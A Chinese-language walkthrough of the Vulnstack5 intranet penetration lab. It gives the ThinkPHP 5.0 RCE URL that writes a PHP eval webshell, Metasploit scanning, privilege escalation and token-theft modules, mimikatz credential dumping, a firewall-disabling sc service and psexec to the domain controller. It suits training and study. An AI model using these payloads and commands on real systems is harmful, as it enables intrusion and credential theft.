【靶场练习】vulnstack5

Vulnstack5是红日安全提供的一个内网渗透靶场,包含一个成员和一个域控机器(DC),简单练习总结一下内网相关知识

环境配置

下载vulnstack5:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

下载完成后导入,使用VMware的扫描功能一键导入

image-20220619170256249

添加一个VMnet14网络,用于模拟靶机内网连接

image-20220619170459172

配置外网Win7的网络,两张网卡分别改为NAT模式、自定义的VMnet14

image-20220619172039573

同时需要登录机器,桥接的网卡改为DHCP模式

image-20220619170859404

同时需要手动开启phpstudy

image-20220619173153803

内网Windows2008只有一张网卡,改为VMnet14即可

上帝视角

域成员Win7:

  • 10.128.0.26 外
  • 192.168.138.136 内
  • sun\heart 123.com
  • sun\Administrator dc123.com

域控Window

  • 192.168.138.138 内
  • sun\admin 2022.com

攻击机Kali

  • 10.128.0.9

Web渗透

访问web页面,提示为ThinkPhp5.0

image-20220619173229449

直接使用payload,参考:https://blog.csdn.net/weixin_40709439/article/details/86564457

image-20220619173538020

写入webshell

http://10.128.0.26/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo+"<?php+@eval($_REQUEST['cmd']);?>"+>shell.php

蚁剑连接

image-20220619173652198

内网渗透

基本信息收集

ipconfig、systeminfo、tasklist、net user、whoami、wmic product等等

MSF上线

蚁剑的shell不是很方便,所以先上线MSF

tasklist发现没有杀软,直接生成马子上线即可

image-20220619175433800

主机发现

ICMP协议

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.138.%I|findstr "TTL="

扫到一台138

image-20220619183805000

Netbios协议

扫描之前添加路由

route add 192.168.138.0 255.255.255.0 1

使用MSF自带模块进行扫描

use auxiliary/scanner/netbios/nbname

扫到138及相关信息

image-20220619184024011

ARP协议

仍然用MSF的模块

use auxiliary/scanner/discovery/arp_sweep

没有扫描目标网段内机器,不知道是不是姿势不对= =

image-20220619180628551

SNMP协议

仍然使用MSF模块

use auxiliary/scanner/snmp/snmp_enum

未扫出主机,应该是没有开放该服务

image-20220619180941141

SMB协议

MSF模块

use scanner/smb/smb_version

扫描到138主机及相关信息

image-20220619184922109

定位DC

ipconfig

ipconfig /all

内网网卡的DNS ip一般就是DC的IP

image-20220619185522492

nslookup确认一下

image-20220619185556890

时间服务器

net time /domain
image-20220619190515369

nltest命令


nltest /DCLIST:<域名>
image-20220619190641741

enum_domain模块

run post/windows/gather/enum_domain
image-20220619205043800

查询所有域用户

直接查询

net user /domain
image-20220619190946635

查询所有域用户信息

使用wmic

wmic useraccount get /all
image-20220619191018018

横向移动

使用IPC命令建立连接(IPC连接为Windows自带的远程命令行连接方式)

账号密码为下文通过MSF的kiwi模块抓取到的

net use \\192.168.138.138\ipc$ "dc123.com" /user:Administrator

虽然net user没有显示,但实际已经建立连接

image-20220619203729684

目标主机信息搜集

完成IPC连接后可以做很多事情,如dir命令

dir \\192.168.138.138\c$
image-20220619204145874

tasklist命令

tasklist /S 192.168.138.138 /U Administrator /P dc123.com
image-20220619204611258

哈希传递攻击

在只有NTLM但是没有明文密码的情况下,可以尝试哈希传递攻击来登录远程主机。

票据传递攻击

在甚至没有成功获得管理员权限的情况下,还可以尝试票据传递攻击。

MSF框架下的渗透测试

提权

getsystem

image-20220619194930747

当然也有提权失败的时候

image-20220619194822106

通过补丁信息提权

枚举补丁情况

run post/windows/gather/enum_patches
image-20220619195049527

直接查询建议的EXP

run post/multi/recon/local_exploit_suggester
image-20220619195231109

后续使用相关的EXP进行提权尝试,实战不建议通过这种方式,容器造成机器DOS或蓝屏

查找有漏洞的服务

windows的服务通常是以system权限运行,若当前用户可以修改服务相关的脚本文件,则可以进行提权

use exploit/windows/local/service_permissions

注册表键alwaysInstalledElevated

该键决定低权限用户能否以system权限安装文件

use exploit/windows/local/always_install_elevated

可信任服务路径漏洞

use exploit/windows/local/unquoted_service_path

安装配置文件密码泄露

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中有一些可能包含本地管理员账号和密码等信息

use post/windows/gather/enum_unattend
image-20220619201010280

UAC提权

use exploit/windows/local/bypassuac

令牌窃取

使用incognito模块伪造身份

加载模块

load incognito

列出可用的用户令牌

list_tokens -u
image-20220619205334726

使用以下命令假冒一个用户

impersonate_token SUN\\Administrator
image-20220619205421134

使用kiwi模块获取令牌

加载模块

load kiwi

获取所有类型的密码

creds_all
image-20220619205742548

横向移动

psexec+sc登录域控

由于抓取到了域管的密码,可使用smb/psexec模块尝试登录域控

命令如下

use windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set payload windows/meterpreter/bind_tcp
set smbuser Administrator
set smbpass dc123.com
run

攻击失败

image-20220619210455495

尝试用sc指令关闭DC的防火墙,命令如下:

主要做的是创建一个服务并执行

sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start unablefirewall

再尝试攻击,成功拿下域控

image-20220619231316166

kiwi令牌窃取

这里直接creds_all没有任何结果

image-20220619231447553

使用以下命令:

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

第二条命令报错,需要迁移到64位的进程

image-20220619231553441

迁移后再次执行,抓取到密码

image-20220619231701477

使用CS进行渗透

cs提供了图形化界面,自带诸多后渗透模块,常用于团队的合作渗透

外网上线

生成一个http的listener

image-20220619232339203

再生成一个webdelivery,并选择该监听器

image-20220619232457957

弹出一段powershell指令,蚁剑中执行即可成功上线

image-20220619234145485

设置交互间隔,并执行hashdump

image-20220619234222182

提权

可直接使用CVE尝试提权,默认应该只有两个,需要加载其它师傅开发的cna文件(插件)

image-20220620170255849
image-20220620170458147

窃取令牌

mimikatz读取内存中的密码,和MSF中的原理基本一样

image-20220620170142380